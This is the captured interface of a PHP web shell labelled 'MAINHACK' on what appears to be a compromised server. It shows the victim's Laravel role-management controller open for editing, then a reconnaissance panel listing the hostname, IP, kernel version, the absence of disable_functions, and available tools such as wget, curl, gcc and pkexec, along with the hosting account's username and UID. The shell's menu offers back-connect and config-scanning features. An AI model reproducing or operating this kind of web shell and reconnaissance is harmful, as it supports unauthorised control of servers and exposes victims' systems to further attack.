[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: RoleController.php
<?php namespace App\Http\Controllers\Admin; use Illuminate\Http\Request; use Illuminate\Validation\Rule; use Illuminate\Routing\Controller; use Illuminate\Support\Facades\DB; use Spatie\Permission\Models\Role; use Spatie\Permission\Models\Permission; class RoleController extends Controller { private $role; public function __construct() { $this->middleware('permission:roles-create')->only('create', 'store'); $this->middleware('permission:roles-read')->only('index', 'show'); $this->middleware('permission:roles-update')->only('edit', 'update'); $this->middleware('permission:roles-delete')->only('destroy'); } public function index() { $roles = Role::with('users')->whereNotIn('name', ['Super Admin', 'superadmin', 'super admin'])->withCount('users')->get(); return view('admin.roles.index', compact('roles')); } public function create() { $groups = []; foreach (Permission::all() as $index => $permission) { $groups[ucwords(str($permission->name)->remove(['-create','-read','-update','-delete'])->replace('-', ' '))][] = $permission; } return view('admin.roles.create', compact('groups')); } public function store(Request $request) { $request->validate([ 'name' => ['required', 'string', 'unique:roles,name'], 'permissions' => ['required','array'], 'permissions.*' => ['required', 'exists:permissions,id'] ]); DB::transaction(function ()use ($request){ $this->role = Role::create([ 'name' => $request->input('name') ]); $this->role->permissions()->sync($request->input('permissions')); }); return response()->json([ 'message' => __('Role created successfully'), 'redirect' => route('admin.roles.index') ]); } public function edit(Role $role) { abort_if(in_array($role->name, ['Super Admin', 'superadmin', 'super admin']), 403, __("You are not allowed to mess with Super Admin")); $role->load('permissions'); $groups = []; foreach (Permission::all() as $index => $permission) { $groups[ucwords(str($permission->name)->remove(['-', 'create','read','update','delete','status','list','folder']))][] = $permission; } return view('admin.roles.edit', compact('role', 'groups')); } public function update(Request $request, Role $role) { abort_if(in_array($role->name, ['Super Admin', 'superadmin', 'super admin']), 403, __("You are not allowed to mess with Super Admin")); $request->validate([ 'name' => ['required', 'string', Rule::unique('roles')->ignore($role->id)], 'permissions' => ['required','array'], 'permissions.*' => ['required', 'exists:permissions,id'] ]); $role->update([ 'name' => $request->input('name') ]); $role->permissions()->sync($request->input('permissions')); return response()->json([ 'message' => __('Role update successfully'), 'redirect' => route('admin.roles.index') ]); } public function destroy(Role $role) { abort_if(in_array($role->name, ['Super Admin', 'superadmin', 'super admin']), 403, __("You are not allowed to mess with Super Admin")); $role->delete(); return response()->json([ 'message' => __('Role deleted successfully'), 'redirect' => route('admin.roles.index') ]); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.66 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002